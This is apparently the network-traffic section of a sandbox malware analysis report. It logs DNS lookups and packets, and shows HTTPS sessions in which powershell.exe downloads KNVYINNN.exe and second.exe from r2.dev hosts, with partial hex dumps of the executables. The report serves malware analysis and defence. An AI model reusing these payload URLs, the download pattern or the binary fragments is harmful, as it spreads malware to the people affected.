                                                                                                                                                                  Dec 7, 2024 15:44:45.133408070 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.133440971 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.133550882 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.133596897 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.936124086 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.936176062 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.936366081 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.936532021 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.936553001 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:46.121238947 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:46.121275902 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:46.121350050 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:46.121985912 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:46.121998072 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.335221052 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.335309982 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.337637901 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.337646008 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.337948084 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.339145899 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.339293957 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.339329958 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.339550018 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.339576006 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.339690924 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.339710951 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:47.339806080 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:47.339816093 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.805764914 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.805839062 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.805907011 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.806022882 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.806046009 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.806061029 CET49828443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.806066036 CET44349828104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.843008995 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.843086958 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:48.843223095 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.843615055 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:48.843657970 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.066975117 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.067111969 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.068545103 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.068562984 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.068805933 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.069591045 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.069626093 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.069660902 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.689404011 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.689477921 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.689630032 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.689824104 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.689846992 CET44349834104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:50.689861059 CET49834443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:50.689867020 CET44349834104.21.72.125192.168.2.4

                                                                                                                                                                  UDP Packets

                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                  Dec 7, 2024 15:43:11.829691887 CET5749453192.168.2.41.1.1.1
                                                                                                                                                                  Dec 7, 2024 15:43:12.050163031 CET53574941.1.1.1192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:26.674134970 CET5432453192.168.2.41.1.1.1
                                                                                                                                                                  Dec 7, 2024 15:43:26.819689035 CET53543241.1.1.1192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:22.995858908 CET5057653192.168.2.41.1.1.1
                                                                                                                                                                  Dec 7, 2024 15:44:23.421169043 CET53505761.1.1.1192.168.2.4

                                                                                                                                                                  DNS Queries

                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                  Dec 7, 2024 15:43:11.829691887 CET192.168.2.41.1.1.10xd21cStandard query (0)pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.devA (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:43:26.674134970 CET192.168.2.41.1.1.10xab5eStandard query (0)pub-c5a18eb76e034d88899e1f44f859a849.r2.devA (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:44:22.995858908 CET192.168.2.41.1.1.10xe591Standard query (0)lomejorerty6.siteA (IP address)IN (0x0001)false

                                                                                                                                                                  DNS Answers

                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                  Dec 7, 2024 15:43:12.050163031 CET1.1.1.1192.168.2.40xd21cNo error (0)pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev172.66.0.235A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:43:12.050163031 CET1.1.1.1192.168.2.40xd21cNo error (0)pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev162.159.140.237A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:43:26.819689035 CET1.1.1.1192.168.2.40xab5eNo error (0)pub-c5a18eb76e034d88899e1f44f859a849.r2.dev162.159.140.237A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:43:26.819689035 CET1.1.1.1192.168.2.40xab5eNo error (0)pub-c5a18eb76e034d88899e1f44f859a849.r2.dev172.66.0.235A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:44:23.421169043 CET1.1.1.1192.168.2.40xe591No error (0)lomejorerty6.site104.21.72.125A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 7, 2024 15:44:23.421169043 CET1.1.1.1192.168.2.40xe591No error (0)lomejorerty6.site172.67.184.161A (IP address)IN (0x0001)false

                                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                                  • pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev
                                                                                                                                                                  • pub-c5a18eb76e034d88899e1f44f859a849.r2.dev
                                                                                                                                                                  • lomejorerty6.site

                                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  0192.168.2.449730172.66.0.2354436532C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:43:13 UTC105OUTGET /KNVYINNN.exe HTTP/1.1
                                                                                                                                                                  Host: pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  2024-12-07 14:43:13 UTC300INHTTP/1.1 200 OK
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:43:13 GMT
                                                                                                                                                                  Content-Type: application/x-msdownload
                                                                                                                                                                  Content-Length: 6354975
                                                                                                                                                                  Connection: close
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  ETag: "e06afcdb16d22bd45bc3a5b01c96da3a"
                                                                                                                                                                  Last-Modified: Fri, 15 Nov 2024 18:56:48 GMT
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54969bc2f41bd-EWR
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 75 0b 06 21 31 6a 68 72 31 6a 68 72 31 6a 68 72 85 f6 99 72 39 6a 68 72 85 f6 9b 72 bd 6a 68 72 85 f6 9a 72 3c 6a 68 72 b1 11 95 72 33 6a 68 72 b1 11 6c 73 23 6a 68 72 b1 11 6b 73 38 6a 68 72 b1 11 6d 73 05 6a 68 72 38 12 eb 72 38 6a 68 72 38 12 ef 72 33 6a 68 72 38 12 fb 72 36 6a 68 72 31 6a 69 72 3c 6b 68 72 bf 11 6d 73 17 6a 68 72 bf 11 68 73 30 6a 68 72 bf 11 97 72 30 6a 68
                                                                                                                                                                  Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$u!1jhr1jhr1jhrr9jhrrjhrr<jhrr3jhrls#jhrks8jhrmsjhr8r8jhr8r3jhr8r6jhr1jir<khrmsjhrhs0jhrr0jh
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: 38 00 48 8d 44 24 70 48 83 64 24 58 00 48 8d 4c 24 30 48 83 64 24 60 00 48 89 44 24 40 48 89 5c 24 30 48 89 7c 24 48 c7 44 24 50 41 00 00 00 ff 15 4a 6f 07 00 48 8b f8 48 85 c0 74 2a 48 8b d6 48 8b c8 ff 15 3e 6f 07 00 48 8b 4c 24 20 85 c0 0f 95 c3 48 8b 11 48 8b 42 28 48 8b d7 ff 15 c4 d2 02 00 8a c3 eb 02 32 c0 48 8b 8c 24 80 02 00 00 48 33 cc e8 0e 87 01 00 48 81 c4 90 02 00 00 5f 5e 5b c3 cc cc cc c2 00 00 cc 40 53 48 83 ec 20 41 0f b6 d8 ff 15 b4 70 07 00 48 8b c8 8b d3 48 83 c4 20 5b 48 ff 25 9b 70 07 00 cc cc cc 40 53 48 83 ec 20 41 f6 d8 1b db 83 e3 09 ff 15 8c 70 07 00 48 8b c8 8b d3 48 83 c4 20 5b 48 ff 25 93 70 07 00 cc cc cc 40 53 48 83 ec 20 48 8b d9 83 fa 30 74 66 81 fa 10 01 00 00 75 6d 44 8a 4c 24 60 48 8b d1 4c 8b 44 24 50 48 8d 0d 16 40
                                                                                                                                                                  Data Ascii: 8HD$pHd$XHL$0Hd$`HD$@H\$0H|$HD$PAJoHHt*HH>oHL$ HHB(H2H$H3H_^[@SH ApHH [H%p@SH ApHH [H%p@SH H0tfumDL$`HLD$PH@
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: 00 00 be 01 00 00 00 eb 14 45 8b c5 49 8b d4 48 8b cb e8 d3 24 00 00 84 c0 75 33 ff c6 48 8b cd e8 e5 6b 00 00 48 8b d8 48 85 c0 75 dc 33 c0 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 8b 7c 24 68 48 83 c4 30 41 5f 41 5d 41 5c c3 4d 85 ff 74 13 49 8b d4 48 8b cb e8 0c 6a 00 00 85 c0 0f 94 c2 41 88 17 48 85 ff 74 13 44 8b 84 24 80 00 00 00 48 8b d3 48 8b cf e8 38 6a 00 00 8b c6 eb ad 4d 85 c0 74 21 44 0f b6 0a 48 ff c2 0f b6 c1 4c 33 c8 c1 e9 08 48 8d 05 80 db 03 00 42 33 0c 88 49 83 e8 01 75 df 8b c1 c3 cc cc cc 83 79 04 00 4c 8b c1 75 3e 45 33 c9 45 8b d1 41 bb 08 00 00 00 41 8b d2 41 8b ca d1 ea 8b c2 44 8b d2 35 20 83 b8 ed f6 c1 01 44 0f 45 d0 49 83 eb 01 75 e1 45 89 10 41 ff c1 49 83 c0 04 41 81 f9 00 01 00 00 72 c5 c3 40 53 48 81 ec a0 00 00 00
                                                                                                                                                                  Data Ascii: EIH$u3HkHHu3H\$PHl$XHt$`H|$hH0A_A]A\MtIHjAHtD$HH8jMt!DHL3HB3IuyLu>E3EAAAD5 DEIuEAIAr@SH
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: 81 c4 40 08 00 00 5f 5e 5b c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 40 49 8b d8 48 8b fa ff 15 d2 c3 02 00 85 c0 74 2c 48 83 64 24 30 00 41 b9 00 04 00 00 89 5c 24 28 44 8b c0 33 d2 48 89 7c 24 20 b9 00 12 00 00 ff 15 b9 c3 02 00 85 c0 0f 95 c0 eb 02 32 c0 48 8b 5c 24 50 48 83 c4 40 5f c3 cc 40 53 48 83 ec 20 48 8b d9 e8 2a 00 00 00 ba 08 00 00 00 48 8b cb e8 65 01 00 00 48 8d 15 02 9d 03 00 c7 44 24 38 08 00 00 00 48 8d 4c 24 38 e8 74 98 01 00 cc cc cc cc 40 53 48 83 ec 20 48 8b d9 b9 07 00 00 00 e8 f1 fa ff ff ff 43 04 c7 03 08 00 00 00 48 83 c4 20 5b c3 cc cc 48 8b c4 4c 89 40 18 48 89 50 10 53 48 83 ec 20 48 8b d9 4c 8d 40 18 b9 08 00 00 00 48 8d 50 10 e8 eb fb ff ff 48 8b cb e8 3b 01 00 00 ff 43 04 c7 03 06 00 00 00 48 83 c4 20 5b e9 ac 6e 00 00 4c 8b
                                                                                                                                                                  Data Ascii: @_^[H\$WH@IHt,Hd$0A\$(D3H|$ 2H\$PH@_@SH H*HeHD$8HL$8t@SH HCH [HL@HPSH HL@HPH;CH [nL
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: d1 ef 4c 8b f2 48 8b d9 41 f6 c0 10 75 0a 80 79 38 00 75 04 33 f6 eb 05 be 01 00 00 00 89 69 24 83 f7 01 49 8b ce c1 e7 1f e8 16 27 00 00 66 83 38 2e 74 06 66 83 38 20 75 0c 40 f6 c5 20 75 06 48 83 c8 ff eb 28 48 83 64 24 30 00 8d 97 00 00 00 40 83 64 24 28 00 45 33 c9 44 8b c6 c7 44 24 20 02 00 00 00 49 8b ce ff 15 8e be 02 00 48 89 43 08 bd 00 08 00 00 48 83 f8 ff 75 42 44 8b c5 48 8d 54 24 40 49 8b ce e8 d7 22 00 00 84 c0 74 2e 48 83 64 24 30 00 8d 97 00 00 00 40 83 64 24 28 00 48 8d 4c 24 40 45 33 c9 c7 44 24 20 02 00 00 00 44 8b c6 ff 15 41 be 02 00 48 89 43 08 83 63 14 00 48 8d 4b 3a 4c 8b c5 c6 43 20 01 49 8b d6 c6 43 19 00 e8 2a 5f 00 00 48 83 7b 08 ff 0f 95 c0 48 8b 8c 24 40 10 00 00 48 33 cc e8 8a 76 01 00 48 81 c4 50 10 00 00 41 5e 5f 5e 5d 5b
                                                                                                                                                                  Data Ascii: LHAuy8u3i$I'f8.tf8 u@ uH(Hd$0@d$(E3DD$ IHCHuBDHT$@I"t.Hd$0@d$(HL$@E3D$ DAHCcHK:LC IC*_H{H$@H3vHPA^_^][
                                                                                                                                                                  2024-12-07 14:43:13 UTC1347INData Raw: 40 18 48 8d 54 24 30 4d 8b c6 ff 15 b3 bd 02 00 85 c0 7f de eb a8 32 c0 eb a6 48 85 db 79 25 45 85 c0 74 20 41 83 f8 01 75 0f 48 8b 01 48 8b 40 28 ff 15 8c bd 02 00 eb 05 e8 71 fc ff ff 48 03 d8 45 33 c0 48 8b 4f 08 45 8b c8 48 8b c3 4c 8d 44 24 20 48 c1 f8 20 8b d3 89 44 24 20 ff 15 28 b9 02 00 83 f8 ff 0f 85 52 ff ff ff ff 15 d1 b8 02 00 85 c0 0f 94 c0 e9 44 ff ff ff cc cc cc cc cc cc cc 48 89 5c 24 10 55 56 57 41 54 41 55 41 56 41 57 48 83 ec 40 45 33 ed 49 8b e8 4c 8b f2 48 8b d9 44 38 69 29 74 07 33 c0 e9 6d 01 00 00 83 79 1c 02 4d 8b e5 75 10 48 8b 01 48 8b 40 28 ff 15 fd bc 02 00 4c 8b e0 41 8b fd 4c 8b c5 49 8b d6 48 8b cb e8 0d fb ff ff 8b f0 83 f8 ff 0f 85 fb 00 00 00 c7 83 3c 10 00 00 02 00 00 00 44 38 6b 22 0f 84 e7 00 00 00 83 7b 1c 02 75 68
                                                                                                                                                                  Data Ascii: @HT$0M2Hy%Et AuHH@(qHE3HOEHLD$ H D$ (RDH\$UVWATAUAVAWH@E3ILHD8i)t3myMuHH@(LALIH<D8k"{uh
                                                                                                                                                                  2024-12-07 14:43:13 UTC1369INData Raw: 00 e9 1f ff ff ff 4c 8d 47 3a 33 d2 48 8d 0d 4d 26 06 00 e8 78 f3 ff ff c6 47 10 01 40 8a c5 48 8b 5c 24 60 48 8b 6c 24 68 48 83 c4 30 41 5f 41 5e 41 5d 5f 5e c3 cc cc 48 83 ec 28 48 8d 41 27 48 3b c1 76 27 48 8b c8 e8 4f 6d 01 00 48 8b c8 48 85 c0 74 11 48 83 c0 27 48 83 e0 e0 48 89 48 f8 48 83 c4 28 c3 e8 b5 bd 01 00 cc e8 4f 0a 00 00 cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 56 41 57 48 83 ec 20 48 bb fe ff ff ff ff ff ff 7f 4d 8b f9 4c 8b f2 48 8b f9 48 3b d3 0f 87 02 01 00 00 48 8b 69 18 48 83 ca 07 45 33 e4 48 3b d3 77 11 48 8b cd 48 8b c3 48 d1 e9 48 2b c1 48 3b e8 76 10 48 b8 ff ff ff ff ff ff ff 7f 48 8d 0c 00 eb 31 48 8d 04 29 48 8b da 48 3b d0 48 0f 42 d8 48 b8 ff ff ff ff ff ff ff 7f 48 8d 4b 01 48 3b c8 0f 87
                                                                                                                                                                  Data Ascii: LG:3HM&xG@H\$`Hl$hH0A_A^A]_^H(HA'H;v'HOmHHtH'HHHH(OHHXHhHpHx ATAVAWH HMLHH;HiHE3H;wHHHH+H;vHH1H)HH;HBHHKH;
                                                                                                                                                                  2024-12-07 14:43:14 UTC1369INData Raw: 48 8b f9 ff 15 26 af 02 00 8b d8 83 f8 ff 75 24 41 b8 00 08 00 00 48 8d 54 24 20 48 8b cf e8 4c 13 00 00 84 c0 74 0d 48 8d 4c 24 20 ff 15 fd ae 02 00 8b d8 8b c3 48 8b 8c 24 20 10 00 00 48 33 cc e8 41 67 01 00 48 8b 9c 24 48 10 00 00 48 81 c4 30 10 00 00 5f c3 f6 c1 07 0f 94 c0 c3 cc 83 f9 ff 74 08 f6 c1 10 74 03 b0 01 c3 32 c0 c3 c1 e9 0a 80 e1 01 8a c1 c3 cc cc cc 40 55 53 56 57 41 54 41 56 41 57 48 8d ac 24 80 e0 ff ff b8 80 20 00 00 e8 2f 67 01 00 48 2b e0 48 8b 05 5d b6 03 00 48 33 c4 48 89 85 70 1f 00 00 4d 8b f0 48 8b fa 4c 8b f9 e8 c5 b5 01 00 41 b8 00 08 00 00 49 3b c0 0f 83 42 01 00 00 49 8b d7 48 8d 8d 70 0f 00 00 e8 37 4f 00 00 48 8b cf e8 9f b5 01 00 45 33 e4 48 8b d8 48 85 c0 74 18 4c 8b c0 48 8d 8d 70 0f 00 00 48 8b d7 e8 da de 01 00 85 c0
                                                                                                                                                                  Data Ascii: H&u$AHT$ HLtHL$ H$ H3AgH$HH0_tt2@USVWATAVAWH$ /gH+H]H3HpMHLAI;BIHp7OHE3HHtLHpH
                                                                                                                                                                  2024-12-07 14:43:14 UTC1369INData Raw: 8b 5b 20 49 8b 73 28 49 8b e3 5f c3 cc cc 48 83 ec 48 48 8d 4c 24 20 e8 62 f7 ff ff 48 8d 15 13 83 03 00 48 8d 4c 24 20 e8 35 7e 01 00 cc 48 83 ec 28 48 8d 0d 95 b1 02 00 e8 f8 5f 01 00 cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 49 8b c0 48 8b f9 4c 3b 41 18 77 2b 48 83 79 18 08 48 8b f1 72 03 48 8b 31 4b 8d 1c 00 48 89 41 10 4c 8b c3 48 8b ce e8 71 7f 01 00 33 c9 48 8b c7 66 89 0c 33 eb 13 33 c9 4c 8b ca 44 8a c1 48 8b d0 48 8b cf e8 27 f5 ff ff 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 cc cc cc 48 83 79 08 00 48 8d 05 e4 b0 02 00 48 0f 45 41 08 c3 cc cc 4c 89 44 24 18 4c 89 4c 24 20 53 55 56 57 48 83 ec 38 49 8b f0 48 8d 6c 24 78 48 8b da 48 8b f9 e8 6b e8 ff ff 48 89 6c 24 28 4c 8b ce 48 83 64 24 20 00 4c 8b c3 48 8b d7 48 8b 08 e8
                                                                                                                                                                  Data Ascii: [ Is(I_HHHL$ bHHL$ 5~H(H_H\$Ht$WH IHL;Aw+HyHrH1KHALHq3Hf33LDHH'H\$0Ht$8H _HyHHEALD$LL$ SUVWH8IHl$xHHkHl$(LHd$ LHH
                                                                                                                                                                  2024-12-07 14:43:14 UTC1369INData Raw: 05 e8 97 5c 00 00 85 c0 75 1a 43 0f b7 04 7e 66 83 f8 5c 74 0b 66 83 f8 2f 74 05 66 85 c0 75 04 b0 01 eb 72 83 ff 01 0f 84 31 01 00 00 41 bf 00 08 00 00 48 8d 54 24 20 45 8b c7 48 8b ce e8 da 06 00 00 45 8b c7 48 8d 95 20 0f 00 00 49 8b ce e8 c8 06 00 00 8d 47 fe a9 fd ff ff ff 75 24 48 8d 95 20 0f 00 00 48 8d 4c 24 20 84 db 74 07 e8 79 d4 01 00 eb 05 e8 96 44 00 00 85 c0 0f 85 db 00 00 00 83 ff 03 75 2f 49 8b d6 44 8a c3 48 8b ce e8 df 00 00 00 48 8b 8d 20 1f 00 00 48 33 cc e8 30 5c 01 00 48 81 c4 30 20 00 00 41 5f 41 5e 41 5c 5f 5e 5b 5d c3 8d 47 fb 83 f8 01 77 3f 48 8d 4c 24 20 e8 44 0a 00 00 84 c0 75 bb 83 ff 05 74 59 48 8b ce e8 33 0a 00 00 84 c0 75 4d 48 8d 95 20 0f 00 00 48 8d 4c 24 20 84 db 74 07 e8 fa d3 01 00 eb 05 e8 17 44 00 00 85 c0 75 60 48
                                                                                                                                                                  Data Ascii: \uC~f\tf/tfur1AHT$ EHEH IGu$H HL$ tyDu/IDHH H30\H0 A_A^A\_^[]Gw?HL$ DutYH3uMH HL$ tDu`H


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  1192.168.2.449731162.159.140.2374436532C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:43:28 UTC103OUTGET /second.exe HTTP/1.1
                                                                                                                                                                  Host: pub-c5a18eb76e034d88899e1f44f859a849.r2.dev
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  2024-12-07 14:43:28 UTC300INHTTP/1.1 200 OK
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:43:28 GMT
                                                                                                                                                                  Content-Type: application/x-msdownload
                                                                                                                                                                  Content-Length: 4166425
                                                                                                                                                                  Connection: close
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  ETag: "47cb10ebf122aea1d817c5b57737c2fc"
                                                                                                                                                                  Last-Modified: Fri, 15 Nov 2024 14:53:56 GMT
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee549c5f994f5fa-EWR
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 74 da 9f 1a 30 bb f1 49 30 bb f1 49 30 bb f1 49 84 27 00 49 38 bb f1 49 84 27 02 49 bd bb f1 49 84 27 03 49 3d bb f1 49 b0 c0 0c 49 32 bb f1 49 b0 c0 f5 48 22 bb f1 49 b0 c0 f2 48 39 bb f1 49 b0 c0 f4 48 07 bb f1 49 39 c3 72 49 39 bb f1 49 39 c3 76 49 32 bb f1 49 39 c3 62 49 37 bb f1 49 30 bb f0 49 2f ba f1 49 be c0 f4 48 01 bb f1 49 be c0 f1 48 31 bb f1 49 be c0 0e 49 31 bb f1
                                                                                                                                                                  Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$t0I0I0I'I8I'II'I=II2IH"IH9IHI9rI9I9vI2I9bI7I0I/IHIH1II1
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: c2 48 8b d7 48 8d 1c 43 48 8b c3 48 2b c1 48 8b cb 48 d1 f8 4c 2b c0 e8 73 3b 01 00 48 8b cb e8 fb a9 02 00 4c 8d 78 01 4e 8d 3c 7b 48 8d 4d c0 49 8b c7 48 2b c1 48 8b de 48 d1 f8 b9 a3 00 00 00 48 2b d8 e8 a6 17 01 00 48 8b d0 4c 8b c3 49 8b cf e8 38 3b 01 00 49 8b cf e8 c0 a9 02 00 48 ff c0 48 8d 4d c0 48 8d 15 ea b6 03 00 49 8d 1c 47 48 8b c3 48 2b c1 48 8b cb 48 d1 f8 48 2b f0 4c 8b c6 e8 07 3b 01 00 48 8b cb e8 8f a9 02 00 33 f6 48 8d 4c 24 20 33 d2 66 89 74 43 02 bb 98 00 00 00 44 8b c3 e8 bc 68 02 00 48 8b 05 75 f2 04 00 48 8d 4c 24 20 40 8a bd 40 04 00 00 48 89 44 24 30 48 8d 45 c0 48 89 44 24 38 89 5c 24 20 4c 89 64 24 28 4c 89 74 24 50 c7 44 24 58 00 08 00 00 4c 89 6c 24 78 c7 45 80 0c 08 11 00 40 84 ff 74 08 ff 15 4e 4e 07 00 eb 06 ff 15 56 4e
                                                                                                                                                                  Data Ascii: HHCHH+HHL+s;HLxN<{HMIH+HHH+HLI8;IHHMHIGHH+HHH+L;H3HL$ 3ftCDhHuHL$ @@HD$0HEHD$8\$ Ld$(Lt$PD$XLl$xE@tNNVN
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 00 66 89 ab da 64 00 00 40 88 ab ba 64 00 00 40 88 ab d8 64 00 00 40 88 ab 90 1b 00 00 48 8b c3 48 8b 5c 24 50 48 83 c4 20 5f 5e 5d c3 cc 48 83 ec 28 48 8b 09 48 85 c9 74 05 e8 47 a7 02 00 48 83 c4 28 c3 cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b f9 48 8d 05 ac b1 03 00 48 89 01 80 b9 60 1b 00 00 00 74 21 48 8b 99 68 1b 00 00 48 85 db 74 15 48 8b cb e8 98 00 00 00 ba e0 b5 00 00 48 8b cb e8 53 51 02 00 48 8b 8f e8 4f 00 00 48 85 c9 74 05 e8 ee a6 02 00 48 8b 8f 88 2c 00 00 48 85 c9 74 05 e8 dd a6 02 00 48 8d 8f 00 1c 00 00 e8 f5 0b 00 00 48 8d 8f 20 1a 00 00 e8 e9 f5 00 00 90 48 8d 8f 90 11 00 00 4c 8d 0d ce 01 00 00 ba 98 00 00 00 41 b8 04 00 00 00 e8 ee 4f 02 00 4c 8d 0d 67 01 00 00 ba 50 00 00 00 44 8d 42 b4 48 8d 8f 48 10 00 00 e8 d2 4f 02 00 90 48 8b
